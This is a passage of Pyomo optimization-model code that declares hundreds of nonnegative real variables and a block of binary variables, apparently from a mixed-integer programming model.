Var(within=Reals,bounds=(0,None),initialize=0) m.x168 = Var(within=Reals,bounds=(0,None),initialize=0) m.x169 = Var(within=Reals,bounds=(0,None),initialize=0) m.x170 = Var(within=Reals,bounds=(0,None),initialize=0) m.x171 = Var(within=Reals,bounds=(0,None),initialize=0) m.x172 = Var(within=Reals,bounds=(0,None),initialize=0) m.x173 = Var(within=Reals,bounds=(0,None),initialize=0) m.x174 = Var(within=Reals,bounds=(0,None),initialize=0) m.x175 = Var(within=Reals,bounds=(0,None),initialize=0) m.x176 = Var(within=Reals,bounds=(0,None),initialize=0) m.x177 = Var(within=Reals,bounds=(0,None),initialize=0) m.x178 = Var(within=Reals,bounds=(0,None),initialize=0) m.x179 = Var(within=Reals,bounds=(0,None),initialize=0) m.x180 = Var(within=Reals,bounds=(0,None),initialize=0) m.x181 = Var(within=Reals,bounds=(0,None),initialize=0) m.x182 = Var(within=Reals,bounds=(0,None),initialize=0) m.x183 = Var(within=Reals,bounds=(0,None),initialize=0) m.x184 = Var(within=Reals,bounds=(0,None),initialize=0) m.x185 = Var(within=Reals,bounds=(0,None),initialize=0) m.x186 = Var(within=Reals,bounds=(0,None),initialize=0) m.x187 = Var(within=Reals,bounds=(0,None),initialize=0) m.x188 = Var(within=Reals,bounds=(0,None),initialize=0) m.x189 = Var(within=Reals,bounds=(0,None),initialize=0) m.x190 = Var(within=Reals,bounds=(0,None),initialize=0) m.x191 = Var(within=Reals,bounds=(0,None),initialize=0) m.x192 = Var(within=Reals,bounds=(0,None),initialize=0) m.x193 = Var(within=Reals,bounds=(0,None),initialize=0) m.x194 = Var(within=Reals,bounds=(0,None),initialize=0) m.x195 = Var(within=Reals,bounds=(0,None),initialize=0) m.x196 = Var(within=Reals,bounds=(0,None),initialize=0) m.x197 = Var(within=Reals,bounds=(0,None),initialize=0) m.x198 = Var(within=Reals,bounds=(0,None),initialize=0) m.x199 = Var(within=Reals,bounds=(0,None),initialize=0) m.x200 = Var(within=Reals,bounds=(0,None),initialize=0) m.x201 = Var(within=Reals,bounds=(0,None),initialize=0) m.x202 = Var(within=Reals,bounds=(0,None),initialize=0) m.x203 = Var(within=Reals,bounds=(0,None),initialize=0) m.x204 = Var(within=Reals,bounds=(0,None),initialize=0) m.x205 = Var(within=Reals,bounds=(0,None),initialize=0) m.x206 = Var(within=Reals,bounds=(0,None),initialize=0) m.x207 = Var(within=Reals,bounds=(0,None),initialize=0) m.x208 = Var(within=Reals,bounds=(0,None),initialize=0) m.x209 = Var(within=Reals,bounds=(0,None),initialize=0) m.x210 = Var(within=Reals,bounds=(0,None),initialize=0) m.x211 = Var(within=Reals,bounds=(0,None),initialize=0) m.x212 = Var(within=Reals,bounds=(0,None),initialize=0) m.x213 = Var(within=Reals,bounds=(0,None),initialize=0) m.x214 = Var(within=Reals,bounds=(0,None),initialize=0) m.x215 = Var(within=Reals,bounds=(0,None),initialize=0) m.x216 = Var(within=Reals,bounds=(0,None),initialize=0) m.x217 = Var(within=Reals,bounds=(0,None),initialize=0) m.x218 = Var(within=Reals,bounds=(0,None),initialize=0) m.x219 = Var(within=Reals,bounds=(0,None),initialize=0) m.x220 = Var(within=Reals,bounds=(0,None),initialize=0) m.x221 = Var(within=Reals,bounds=(0,None),initialize=0) m.x222 = Var(within=Reals,bounds=(0,None),initialize=0) m.x223 = Var(within=Reals,bounds=(0,None),initialize=0) m.x224 = Var(within=Reals,bounds=(0,None),initialize=0) m.x225 = Var(within=Reals,bounds=(0,None),initialize=0) m.x226 = Var(within=Reals,bounds=(0,None),initialize=0) m.x227 = Var(within=Reals,bounds=(0,None),initialize=0) m.x228 = Var(within=Reals,bounds=(0,None),initialize=0) m.x229 = Var(within=Reals,bounds=(0,None),initialize=0) m.x230 = Var(within=Reals,bounds=(0,None),initialize=0) m.x231 = Var(within=Reals,bounds=(0,None),initialize=0) m.x232 = Var(within=Reals,bounds=(0,None),initialize=0) m.x233 = Var(within=Reals,bounds=(0,None),initialize=0) m.x234 = Var(within=Reals,bounds=(0,None),initialize=0) m.x235 = Var(within=Reals,bounds=(0,None),initialize=0) m.x236 = Var(within=Reals,bounds=(0,None),initialize=0) m.x237 = Var(within=Reals,bounds=(0,None),initialize=0) m.x238 = Var(within=Reals,bounds=(0,None),initialize=0) m.x239 = Var(within=Reals,bounds=(0,None),initialize=0) m.x240 = Var(within=Reals,bounds=(0,None),initialize=0) m.x241 = Var(within=Reals,bounds=(0,None),initialize=0) m.x242 = Var(within=Reals,bounds=(0,None),initialize=0) m.x243 = Var(within=Reals,bounds=(0,None),initialize=0) m.x244 = Var(within=Reals,bounds=(0,None),initialize=0) m.x245 = Var(within=Reals,bounds=(0,None),initialize=0) m.x246 = Var(within=Reals,bounds=(0,None),initialize=0) m.x247 = Var(within=Reals,bounds=(0,None),initialize=0) m.x248 = Var(within=Reals,bounds=(0,None),initialize=0) m.x249 = Var(within=Reals,bounds=(0,None),initialize=0) m.x250 = Var(within=Reals,bounds=(0,None),initialize=0) m.x251 = Var(within=Reals,bounds=(0,None),initialize=0) m.x252 = Var(within=Reals,bounds=(0,None),initialize=0) m.x253 = Var(within=Reals,bounds=(0,None),initialize=0) m.x254 = Var(within=Reals,bounds=(0,None),initialize=0) m.x255 = Var(within=Reals,bounds=(0,None),initialize=0) m.x256 = Var(within=Reals,bounds=(0,None),initialize=0) m.x257 = Var(within=Reals,bounds=(0,None),initialize=0) m.x258 = Var(within=Reals,bounds=(0,None),initialize=0) m.x259 = Var(within=Reals,bounds=(0,None),initialize=0) m.x260 = Var(within=Reals,bounds=(0,None),initialize=0) m.x261 = Var(within=Reals,bounds=(0,None),initialize=0) m.x262 = Var(within=Reals,bounds=(0,None),initialize=0) m.x263 = Var(within=Reals,bounds=(0,None),initialize=0) m.x264 = Var(within=Reals,bounds=(0,None),initialize=0) m.x265 = Var(within=Reals,bounds=(0,None),initialize=0) m.x266 = Var(within=Reals,bounds=(0,None),initialize=0) m.x267 = Var(within=Reals,bounds=(0,None),initialize=0) m.x268 = Var(within=Reals,bounds=(0,None),initialize=0) m.x269 = Var(within=Reals,bounds=(0,None),initialize=0) m.x270 = Var(within=Reals,bounds=(0,None),initialize=0) m.x271 = Var(within=Reals,bounds=(0,None),initialize=0) m.x272 = Var(within=Reals,bounds=(0,None),initialize=0) m.x273 = Var(within=Reals,bounds=(0,None),initialize=0) m.x274 = Var(within=Reals,bounds=(0,None),initialize=0) m.x275 = Var(within=Reals,bounds=(0,None),initialize=0) m.x276 = Var(within=Reals,bounds=(0,None),initialize=0) m.x277 = Var(within=Reals,bounds=(0,None),initialize=0) m.x278 = Var(within=Reals,bounds=(0,None),initialize=0) m.x279 = Var(within=Reals,bounds=(0,None),initialize=0) m.x280 = Var(within=Reals,bounds=(0,None),initialize=0) m.x281 = Var(within=Reals,bounds=(0,None),initialize=0) m.x282 = Var(within=Reals,bounds=(0,None),initialize=0) m.x283 = Var(within=Reals,bounds=(0,None),initialize=0) m.x284 = Var(within=Reals,bounds=(0,None),initialize=0) m.x285 = Var(within=Reals,bounds=(0,None),initialize=0) m.x286 = Var(within=Reals,bounds=(0,None),initialize=0) m.x287 = Var(within=Reals,bounds=(0,None),initialize=0) m.x288 = Var(within=Reals,bounds=(0,None),initialize=0) m.x289 = Var(within=Reals,bounds=(0,None),initialize=0) m.x290 = Var(within=Reals,bounds=(0,None),initialize=0) m.x291 = Var(within=Reals,bounds=(0,None),initialize=0) m.x292 = Var(within=Reals,bounds=(0,None),initialize=0) m.x293 = Var(within=Reals,bounds=(0,None),initialize=0) m.x294 = Var(within=Reals,bounds=(0,None),initialize=0) m.x295 = Var(within=Reals,bounds=(0,None),initialize=0) m.x296 = Var(within=Reals,bounds=(0,None),initialize=0) m.x297 = Var(within=Reals,bounds=(0,None),initialize=0) m.x298 = Var(within=Reals,bounds=(0,None),initialize=0) m.x299 = Var(within=Reals,bounds=(0,None),initialize=0) m.x300 = Var(within=Reals,bounds=(0,None),initialize=0) m.x301 = Var(within=Reals,bounds=(0,None),initialize=0) m.x302 = Var(within=Reals,bounds=(0,None),initialize=0) m.x303 = Var(within=Reals,bounds=(0,None),initialize=0) m.x304 = Var(within=Reals,bounds=(0,None),initialize=0) m.x305 = Var(within=Reals,bounds=(0,None),initialize=0) m.x306 = Var(within=Reals,bounds=(0,None),initialize=0) m.x307 = Var(within=Reals,bounds=(0,None),initialize=0) m.x308 = Var(within=Reals,bounds=(0,None),initialize=0) m.x309 = Var(within=Reals,bounds=(0,None),initialize=0) m.x310 = Var(within=Reals,bounds=(0,None),initialize=0) m.x311 = Var(within=Reals,bounds=(0,None),initialize=0) m.x312 = Var(within=Reals,bounds=(0,None),initialize=0) m.x313 = Var(within=Reals,bounds=(0,None),initialize=0) m.x314 = Var(within=Reals,bounds=(0,None),initialize=0) m.x315 = Var(within=Reals,bounds=(0,None),initialize=0) m.x316 = Var(within=Reals,bounds=(0,None),initialize=0) m.x317 = Var(within=Reals,bounds=(0,None),initialize=0) m.x318 = Var(within=Reals,bounds=(0,None),initialize=0) m.x319 = Var(within=Reals,bounds=(0,None),initialize=0) m.x320 = Var(within=Reals,bounds=(0,None),initialize=0) m.x321 = Var(within=Reals,bounds=(0,None),initialize=0) m.x322 = Var(within=Reals,bounds=(0,None),initialize=0) m.x323 = Var(within=Reals,bounds=(0,None),initialize=0) m.x324 = Var(within=Reals,bounds=(0,None),initialize=0) m.x325 = Var(within=Reals,bounds=(0,None),initialize=0) m.x326 = Var(within=Reals,bounds=(0,None),initialize=0) m.x327 = Var(within=Reals,bounds=(0,None),initialize=0) m.x328 = Var(within=Reals,bounds=(0,None),initialize=0) m.x329 = Var(within=Reals,bounds=(0,None),initialize=0) m.x330 = Var(within=Reals,bounds=(0,None),initialize=0) m.x331 = Var(within=Reals,bounds=(0,None),initialize=0) m.x332 = Var(within=Reals,bounds=(0,None),initialize=0) m.x333 = Var(within=Reals,bounds=(0,None),initialize=0) m.x334 = Var(within=Reals,bounds=(0,None),initialize=0) m.x335 = Var(within=Reals,bounds=(0,None),initialize=0) m.x336 = Var(within=Reals,bounds=(0,None),initialize=0) m.x337 = Var(within=Reals,bounds=(0,None),initialize=0) m.x338 = Var(within=Reals,bounds=(0,None),initialize=0) m.x339 = Var(within=Reals,bounds=(0,None),initialize=0) m.x340 = Var(within=Reals,bounds=(0,None),initialize=0) m.x341 = Var(within=Reals,bounds=(0,None),initialize=0) m.x342 = Var(within=Reals,bounds=(0,None),initialize=0) m.x343 = Var(within=Reals,bounds=(0,None),initialize=0) m.x344 = Var(within=Reals,bounds=(0,None),initialize=0) m.x345 = Var(within=Reals,bounds=(0,None),initialize=0) m.x346 = Var(within=Reals,bounds=(0,None),initialize=0) m.x347 = Var(within=Reals,bounds=(0,None),initialize=0) m.x348 = Var(within=Reals,bounds=(0,None),initialize=0) m.x349 = Var(within=Reals,bounds=(0,None),initialize=0) m.x350 = Var(within=Reals,bounds=(0,None),initialize=0) m.x351 = Var(within=Reals,bounds=(0,None),initialize=0) m.x352 = Var(within=Reals,bounds=(0,None),initialize=0) m.x353 = Var(within=Reals,bounds=(0,None),initialize=0) m.x354 = Var(within=Reals,bounds=(0,None),initialize=0) m.x355 = Var(within=Reals,bounds=(0,None),initialize=0) m.x356 = Var(within=Reals,bounds=(0,None),initialize=0) m.x357 = Var(within=Reals,bounds=(0,None),initialize=0) m.x358 = Var(within=Reals,bounds=(0,None),initialize=0) m.x359 = Var(within=Reals,bounds=(0,None),initialize=0) m.x360 = Var(within=Reals,bounds=(0,None),initialize=0) m.x361 = Var(within=Reals,bounds=(0,None),initialize=0) m.x362 = Var(within=Reals,bounds=(0,None),initialize=0) m.x363 = Var(within=Reals,bounds=(0,None),initialize=0) m.x364 = Var(within=Reals,bounds=(0,None),initialize=0) m.x365 = Var(within=Reals,bounds=(0,None),initialize=0) m.x366 = Var(within=Reals,bounds=(0,None),initialize=0) m.x367 = Var(within=Reals,bounds=(0,None),initialize=0) m.x368 = Var(within=Reals,bounds=(0,None),initialize=0) m.x369 = Var(within=Reals,bounds=(0,None),initialize=0) m.x370 = Var(within=Reals,bounds=(0,None),initialize=0) m.x371 = Var(within=Reals,bounds=(0,None),initialize=0) m.x372 = Var(within=Reals,bounds=(0,None),initialize=0) m.x373 = Var(within=Reals,bounds=(0,None),initialize=0) m.x374 = Var(within=Reals,bounds=(0,None),initialize=0) m.x375 = Var(within=Reals,bounds=(0,None),initialize=0) m.x376 = Var(within=Reals,bounds=(0,None),initialize=0) m.x377 = Var(within=Reals,bounds=(0,None),initialize=0) m.x378 = Var(within=Reals,bounds=(0,None),initialize=0) m.x379 = Var(within=Reals,bounds=(0,None),initialize=0) m.x380 = Var(within=Reals,bounds=(0,None),initialize=0) m.x381 = Var(within=Reals,bounds=(0,None),initialize=0) m.x382 = Var(within=Reals,bounds=(0,None),initialize=0) m.x383 = Var(within=Reals,bounds=(0,None),initialize=0) m.x384 = Var(within=Reals,bounds=(0,None),initialize=0) m.x385 = Var(within=Reals,bounds=(0,None),initialize=0) m.x386 = Var(within=Reals,bounds=(0,None),initialize=0) m.x387 = Var(within=Reals,bounds=(0,None),initialize=0) m.x388 = Var(within=Reals,bounds=(0,None),initialize=0) m.x389 = Var(within=Reals,bounds=(0,None),initialize=0) m.x390 = Var(within=Reals,bounds=(0,None),initialize=0) m.x391 = Var(within=Reals,bounds=(0,None),initialize=0) m.x392 = Var(within=Reals,bounds=(0,None),initialize=0) m.x393 = Var(within=Reals,bounds=(0,None),initialize=0) m.x394 = Var(within=Reals,bounds=(0,None),initialize=0) m.x395 = Var(within=Reals,bounds=(0,None),initialize=0) m.x396 = Var(within=Reals,bounds=(0,None),initialize=0) m.x397 = Var(within=Reals,bounds=(0,None),initialize=0) m.x398 = Var(within=Reals,bounds=(0,None),initialize=0) m.x399 = Var(within=Reals,bounds=(0,None),initialize=0) m.x400 = Var(within=Reals,bounds=(0,None),initialize=0) m.x401 = Var(within=Reals,bounds=(0,None),initialize=0) m.x402 = Var(within=Reals,bounds=(0,None),initialize=0) m.x403 = Var(within=Reals,bounds=(0,None),initialize=0) m.x404 = Var(within=Reals,bounds=(0,None),initialize=0) m.x405 = Var(within=Reals,bounds=(0,None),initialize=0) m.x406 = Var(within=Reals,bounds=(0,None),initialize=0) m.x407 = Var(within=Reals,bounds=(0,None),initialize=0) m.x408 = Var(within=Reals,bounds=(0,None),initialize=0) m.x409 = Var(within=Reals,bounds=(0,None),initialize=0) m.x410 = Var(within=Reals,bounds=(0,None),initialize=0) m.x411 = Var(within=Reals,bounds=(0,None),initialize=0) m.x412 = Var(within=Reals,bounds=(0,None),initialize=0) m.x413 = Var(within=Reals,bounds=(0,None),initialize=0) m.x414 = Var(within=Reals,bounds=(0,None),initialize=0) m.x415 = Var(within=Reals,bounds=(0,None),initialize=0) m.x416 = Var(within=Reals,bounds=(0,None),initialize=0) m.x417 = Var(within=Reals,bounds=(0,None),initialize=0) m.x418 = Var(within=Reals,bounds=(0,None),initialize=0) m.x419 = Var(within=Reals,bounds=(0,None),initialize=0) m.x420 = Var(within=Reals,bounds=(0,None),initialize=0) m.x421 = Var(within=Reals,bounds=(0,None),initialize=0) m.x422 = Var(within=Reals,bounds=(0,None),initialize=0) m.x423 = Var(within=Reals,bounds=(0,None),initialize=0) m.x424 = Var(within=Reals,bounds=(0,None),initialize=0) m.x425 = Var(within=Reals,bounds=(0,None),initialize=0) m.x426 = Var(within=Reals,bounds=(0,None),initialize=0) m.x427 = Var(within=Reals,bounds=(0,None),initialize=0) m.x428 = Var(within=Reals,bounds=(0,None),initialize=0) m.x429 = Var(within=Reals,bounds=(0,None),initialize=0) m.x430 = Var(within=Reals,bounds=(0,None),initialize=0) m.x431 = Var(within=Reals,bounds=(0,None),initialize=0) m.x432 = Var(within=Reals,bounds=(0,None),initialize=0) m.x433 = Var(within=Reals,bounds=(0,None),initialize=0) m.x434 = Var(within=Reals,bounds=(0,None),initialize=0) m.x435 = Var(within=Reals,bounds=(0,None),initialize=0) m.x436 = Var(within=Reals,bounds=(0,None),initialize=0) m.x437 = Var(within=Reals,bounds=(0,None),initialize=0) m.x438 = Var(within=Reals,bounds=(0,None),initialize=0) m.x439 = Var(within=Reals,bounds=(0,None),initialize=0) m.x440 = Var(within=Reals,bounds=(0,None),initialize=0) m.x441 = Var(within=Reals,bounds=(0,None),initialize=0) m.x442 = Var(within=Reals,bounds=(0,None),initialize=0) m.x443 = Var(within=Reals,bounds=(0,None),initialize=0) m.x444 = Var(within=Reals,bounds=(0,None),initialize=0) m.x445 = Var(within=Reals,bounds=(0,None),initialize=0) m.x446 = Var(within=Reals,bounds=(0,None),initialize=0) m.x447 = Var(within=Reals,bounds=(0,None),initialize=0) m.x448 = Var(within=Reals,bounds=(0,None),initialize=0) m.x449 = Var(within=Reals,bounds=(0,None),initialize=0) m.x450 = Var(within=Reals,bounds=(0,None),initialize=0) m.x451 = Var(within=Reals,bounds=(0,None),initialize=0) m.x452 = Var(within=Reals,bounds=(0,None),initialize=0) m.x453 = Var(within=Reals,bounds=(0,None),initialize=0) m.x454 = Var(within=Reals,bounds=(0,None),initialize=0) m.x455 = Var(within=Reals,bounds=(0,None),initialize=0) m.x456 = Var(within=Reals,bounds=(0,None),initialize=0) m.x457 = Var(within=Reals,bounds=(0,None),initialize=0) m.x458 = Var(within=Reals,bounds=(0,None),initialize=0) m.x459 = Var(within=Reals,bounds=(0,None),initialize=0) m.x460 = Var(within=Reals,bounds=(0,None),initialize=0) m.x461 = Var(within=Reals,bounds=(0,None),initialize=0) m.x462 = Var(within=Reals,bounds=(0,None),initialize=0) m.x463 = Var(within=Reals,bounds=(0,None),initialize=0) m.x464 = Var(within=Reals,bounds=(0,None),initialize=0) m.x465 = Var(within=Reals,bounds=(0,None),initialize=0) m.x466 = Var(within=Reals,bounds=(0,None),initialize=0) m.x467 = Var(within=Reals,bounds=(0,None),initialize=0) m.x468 = Var(within=Reals,bounds=(0,None),initialize=0) m.x469 = Var(within=Reals,bounds=(0,None),initialize=0) m.x470 = Var(within=Reals,bounds=(0,None),initialize=0) m.x471 = Var(within=Reals,bounds=(0,None),initialize=0) m.x472 = Var(within=Reals,bounds=(0,None),initialize=0) m.x473 = Var(within=Reals,bounds=(0,None),initialize=0) m.x474 = Var(within=Reals,bounds=(0,None),initialize=0) m.x475 = Var(within=Reals,bounds=(0,None),initialize=0) m.x476 = Var(within=Reals,bounds=(0,None),initialize=0) m.x477 = Var(within=Reals,bounds=(0,None),initialize=0) m.x478 = Var(within=Reals,bounds=(0,None),initialize=0) m.x479 = Var(within=Reals,bounds=(0,None),initialize=0) m.x480 = Var(within=Reals,bounds=(0,None),initialize=0) m.x481 = Var(within=Reals,bounds=(0,None),initialize=0) m.x482 = Var(within=Reals,bounds=(0,None),initialize=0) m.x483 = Var(within=Reals,bounds=(0,None),initialize=0) m.x484 = Var(within=Reals,bounds=(0,None),initialize=0) m.x485 = Var(within=Reals,bounds=(0,None),initialize=0) m.x486 = Var(within=Reals,bounds=(0,None),initialize=0) m.x487 = Var(within=Reals,bounds=(0,None),initialize=0) m.x488 = Var(within=Reals,bounds=(0,None),initialize=0) m.x489 = Var(within=Reals,bounds=(0,None),initialize=0) m.x490 = Var(within=Reals,bounds=(0,None),initialize=0) m.x491 = Var(within=Reals,bounds=(0,None),initialize=0) m.x492 = Var(within=Reals,bounds=(0,None),initialize=0) m.x493 = Var(within=Reals,bounds=(0,None),initialize=0) m.x494 = Var(within=Reals,bounds=(0,None),initialize=0) m.x495 = Var(within=Reals,bounds=(0,None),initialize=0) m.x496 = Var(within=Reals,bounds=(0,None),initialize=0) m.x497 = Var(within=Reals,bounds=(0,None),initialize=0) m.x498 = Var(within=Reals,bounds=(0,None),initialize=0) m.x499 = Var(within=Reals,bounds=(0,None),initialize=0) m.x500 = Var(within=Reals,bounds=(0,None),initialize=0) m.x501 = Var(within=Reals,bounds=(0,None),initialize=0) m.x502 = Var(within=Reals,bounds=(0,None),initialize=0) m.x503 = Var(within=Reals,bounds=(0,None),initialize=0) m.x504 = Var(within=Reals,bounds=(0,None),initialize=0) m.x505 = Var(within=Reals,bounds=(0,None),initialize=0) m.x506 = Var(within=Reals,bounds=(0,None),initialize=0) m.x507 = Var(within=Reals,bounds=(0,None),initialize=0) m.x508 = Var(within=Reals,bounds=(0,None),initialize=0) m.x509 = Var(within=Reals,bounds=(0,None),initialize=0) m.x510 = Var(within=Reals,bounds=(0,None),initialize=0) m.x511 = Var(within=Reals,bounds=(0,None),initialize=0) m.x512 = Var(within=Reals,bounds=(0,None),initialize=0) m.x513 = Var(within=Reals,bounds=(0,None),initialize=0) m.x514 = Var(within=Reals,bounds=(0,None),initialize=0) m.x515 = Var(within=Reals,bounds=(0,None),initialize=0) m.x516 = Var(within=Reals,bounds=(0,None),initialize=0) m.x517 = Var(within=Reals,bounds=(0,None),initialize=0) m.x518 = Var(within=Reals,bounds=(0,None),initialize=0) m.x519 = Var(within=Reals,bounds=(0,None),initialize=0) m.x520 = Var(within=Reals,bounds=(0,None),initialize=0) m.x521 = Var(within=Reals,bounds=(0,None),initialize=0) m.x522 = Var(within=Reals,bounds=(0,None),initialize=0) m.x523 = Var(within=Reals,bounds=(0,None),initialize=0) m.x524 = Var(within=Reals,bounds=(0,None),initialize=0) m.x525 = Var(within=Reals,bounds=(0,None),initialize=0) m.x526 = Var(within=Reals,bounds=(0,None),initialize=0) m.x527 = Var(within=Reals,bounds=(0,None),initialize=0) m.x528 = Var(within=Reals,bounds=(0,None),initialize=0) m.x529 = Var(within=Reals,bounds=(0,None),initialize=0) m.x530 = Var(within=Reals,bounds=(0,None),initialize=0) m.x531 = Var(within=Reals,bounds=(0,None),initialize=0) m.x532 = Var(within=Reals,bounds=(0,None),initialize=0) m.x533 = Var(within=Reals,bounds=(0,None),initialize=0) m.x534 = Var(within=Reals,bounds=(0,None),initialize=0) m.x535 = Var(within=Reals,bounds=(0,None),initialize=0) m.x536 = Var(within=Reals,bounds=(0,None),initialize=0) m.x537 = Var(within=Reals,bounds=(0,None),initialize=0) m.x538 = Var(within=Reals,bounds=(0,None),initialize=0) m.x539 = Var(within=Reals,bounds=(0,None),initialize=0) m.x540 = Var(within=Reals,bounds=(0,None),initialize=0) m.x541 = Var(within=Reals,bounds=(0,None),initialize=0) m.x542 = Var(within=Reals,bounds=(0,None),initialize=0) m.x543 = Var(within=Reals,bounds=(0,None),initialize=0) m.x544 = Var(within=Reals,bounds=(0,None),initialize=0) m.x545 = Var(within=Reals,bounds=(0,None),initialize=0) m.x546 = Var(within=Reals,bounds=(0,None),initialize=0) m.b547 = Var(within=Binary,bounds=(0,1),initialize=0) m.b548 = Var(within=Binary,bounds=(0,1),initialize=0) m.b549 = Var(within=Binary,bounds=(0,1),initialize=0) m.b550 = Var(within=Binary,bounds=(0,1),initialize=0) m.b551 = Var(within=Binary,bounds=(0,1),initialize=0) m.b552 = Var(within=Binary,bounds=(0,1),initialize=0) m.b553 = Var(within=Binary,bounds=(0,1),initialize=0) m.b554 = Var(within=Binary,bounds=(0,1),initialize=0) m.b555 = Var(within=Binary,bounds=(0,1),initialize=0) m.b556 = Var(within=Binary,bounds=(0,1),initialize=0) m.b557 = Var(within=Binary,bounds=(0,1),initialize=0) m.b558 = Var(within=Binary,bounds=(0,1),initialize=0) m.b559 = Var(within=Binary,bounds=(0,1),initialize=0) m.b560 = Var(within=Binary,bounds=(0,1),initialize=0) m.b561 = Var(within=Binary,bounds=(0,1),initialize=0) m.b562 = Var(within=Binary,bounds=(0,1),initialize=0) m.b563 = Var(within=Binary,bounds=(0,1),initialize=0) m.b564 = Var(within=Binary,bounds=(0,1),initialize=0) m.b565 = Var(within=Binary,bounds=(0,1),initialize=0) m.b566 = Var(within=Binary,bounds=(0,1),initialize=0) m.b567 = Var(within=Binary,bounds=(0,1),initialize=0) m.b568 = Var(within=Binary,bounds=(0,1),initialize=0) m.b569 = Var(within=Binary,bounds=(0,1),initialize=0) m.b570 = Var(within=Binary,bounds=(0,1),initialize=0) m.b571 = Var(within=Binary,bounds=(0,1),initialize=0) m.b572 = Var(within=Binary,bounds=(0,1),initialize=0) m.b573 = Var(within=Binary,bounds=(0,1),initialize=0) m.b574 = Var(within=Binary,bounds=(0,1),initialize=0) m.b575 = Var(within=Binary,bounds=(0,1),initialize=0) m.b576 = Var(within=Binary,bounds=(0,1),initialize=0) m.b577 = Var(within=Binary,bounds=(0,1),initialize=0) m.b578 = Var(within=Binary,bounds=(0,1),initialize=0) m.b579 = Var(within=Binary,bounds=(0,1),initialize=0) m.b580 = Var(within=Binary,bounds=(0,1),initialize=0) m.b581 = Var(within=Binary,bounds=(0,1),initialize=0) m.b582 = Var(within=Binary,bounds=(0,1),initialize=0) m.b583 = Var(within=Binary,bounds=(0,1),initialize=0) m.b584 = Var(within=Binary,bounds=(0,1),initialize=0) m.b585 = Var(within=Binary,bounds=(0,1),initialize=0) m.b586 = Var(within=Binary,bounds=(0,1),initialize=0) m.b587 = Var(within=Binary,bounds=(0,1),initialize=0) m.b588 = Var(within=Binary,bounds=(0,1),initialize=0) m.x589 = Var(within=Reals,bounds=(0,None),initialize=0) m.x590 = Var(within=Reals,bounds=(0,None),initialize=0) m.x591 = Var(within=Reals,bounds=(0,None),initialize=0) m.x592 = Var(within=Reals,bounds=(0,None),initialize=0) m.x593 = Var(within=Reals,bounds=(0,None),initialize=0) m.x594 = Var(within=Reals,bounds=(0,None),initialize=0) m.x595 = Var(within=Reals,bounds=(0,None),initialize=0) m.x596 = Var(within=Reals,bounds=(0,None),initialize=0) m.x597 = Var(within=Reals,bounds=(0,None),initialize=0) m.x598 = Var(within=Reals,bounds=(0,None),initialize=0) m.x599 = Var(within=Reals,bounds=(0,None),initialize=0) m.x600 = Var(within=Reals,bounds=(0,None),initialize=0) m.x601 = Var(within=Reals,bounds=(0,None),initialize=0) m.x602 = Var(within=Reals,bounds=(0,None),initialize=0) m.x603 = Var(within=Reals,bounds=(0,None),initialize=0) m.x604 = Var(within=Reals,bounds=(0,None),initialize=0) m.x605 = Var(within=Reals,bounds=(0,None),initialize=0) m.x606 = Var(within=Reals,bounds=(0,None),initialize=0) m.x607 = Var(within=Reals,bounds=(0,None),initialize=0) m.x608 = Var(within=Reals,bounds=(0,None),initialize=0) m.x609 = Var(within=Reals,bounds=(0,None),initialize=0) m.x610 = Var(within=Reals,bounds=(0,None),initialize=0) m.x611 = Var(within=Reals,bounds=(0,None),initialize=0) m.x612 = Var(within=Reals,bounds=(0,None),initialize=0) m.x613 = Var(within=Reals,bounds=(0,None),initialize=0) m.x614 = Var(within=Reals,bounds=(0,None),initialize=0) m.x615 = Var(within=Reals,bounds=(0,None),initialize=0) m.x616 = Var(within=Reals,bounds=(0,None),initialize=0) m.x617 = Var(within=Reals,bounds=(0,None),initialize=0) m.x618 = Var(within=Reals,bounds=(0,None),initialize=0) m.x619 = Var(within=Reals,bounds=(0,None),initialize=0) m.x620 = Var(within=Reals,bounds=(0,None),initialize=0) m.x621 = Var(within=Reals,bounds=(0,None),initialize=0) m.x622 = Var(within=Reals,bounds=(0,None),initialize=0) m.x623 = Var(within=Reals,bounds=(0,None),initialize=0) m.x624 = Var(within=Reals,bounds=(0,None),initialize=0) m.x625 = Var(within=Reals,bounds=(0,None),initialize=0) m.x626 = Var(within=Reals,bounds=(0,None),initialize=0) m.x627 = Var(within=Reals,bounds=(0,None),initialize=0) m.x628 = Var(within=Reals,bounds=(0,None),initialize=0) m.x629 = Var(within=Reals,bounds=(0,None),initialize=0) m.x630 = Var(within=Reals,bounds=(0,None),initialize=0) m.x632 = Var(within=Reals,bounds=(0,None),initialize=0) m.x633 = Var(within=Reals,bounds=(0,None),initialize=0) m.x634 = Var(within=Reals,bounds=(0,None),initialize=0) m.x635 = Var(within=Reals,bounds=(0,None),initialize=0) m.x636 = Var(within=Reals,bounds=(0,None),initialize=0) m.x637 = Var(within=Reals,bounds=(0,None),initialize=0) m.x638 = Var(within=Reals,bounds=(0,None),initialize=0) m.x639 = Var(within=Reals,bounds=(0,None),initialize=0) m.x640 = Var(within=Reals,bounds=(0,None),initialize=0) m.x641 = Var(within=Reals,bounds=(0,None),initialize=0) m.x642 = Var(within=Reals,bounds=(0,None),initialize=0) m.x643 = Var(within=Reals,bounds=(0,None),initialize=0) m.x644 = Var(within=Reals,bounds=(0,None),initialize=0) m.x645 = Var(within=Reals,bounds=(0,None),initialize=0) m.x646 = Var(within=Reals,bounds=(0,None),initialize=0) m.x647 = Var(within=Reals,bounds=(0,None),initialize=0) m.x648 = Var(within=Reals,bounds=(0,None),initialize=0) m.x649 = Var(within=Reals,bounds=(0,None),initialize=0) m.x650 = Var(within=Reals,bounds=(0,None),initialize=0) m.x651 = Var(within=Reals,bounds=(0,None),initialize=0) m.x652 = Var(within=Reals,bounds=(0,None),initialize=0) m.x653 = Var(within=Reals,bounds=(0,None),initialize=0) m.x654 = Var(within=Reals,bounds=(0,None),initialize=0) m.x655 = Var(within=Reals,bounds=(0,None),initialize=0) m.x656 = Var(within=Reals,bounds=(0,None),initialize=0) m.x657 = Var(within=Reals,bounds=(0,None),initialize=0) m.x658 = Var(within=Reals,bounds=(0,None),initialize=0) m.x659 = Var(within=Reals,bounds=(0,None),initialize=0) m.x660 = Var(within=Reals,bounds=(0,None),initialize=0) m.x661 = Var(within=Reals,bounds=(0,None),initialize=0) m.x662 = Var(within=Reals,bounds=(0,None),initialize=0) m.x663 = Var(within=Reals,bounds=(0,None),initialize=0) m.x664 = Var(within=Reals,bounds=(0,None),initialize=0) m.x665 = Var(within=Reals,bounds=(0,None),initialize=0) m.x666 = Var(within=Reals,bounds=(0,None),initialize=0) m.x667 = Var(within=Reals,bounds=(0,None),initialize=0) m.x668 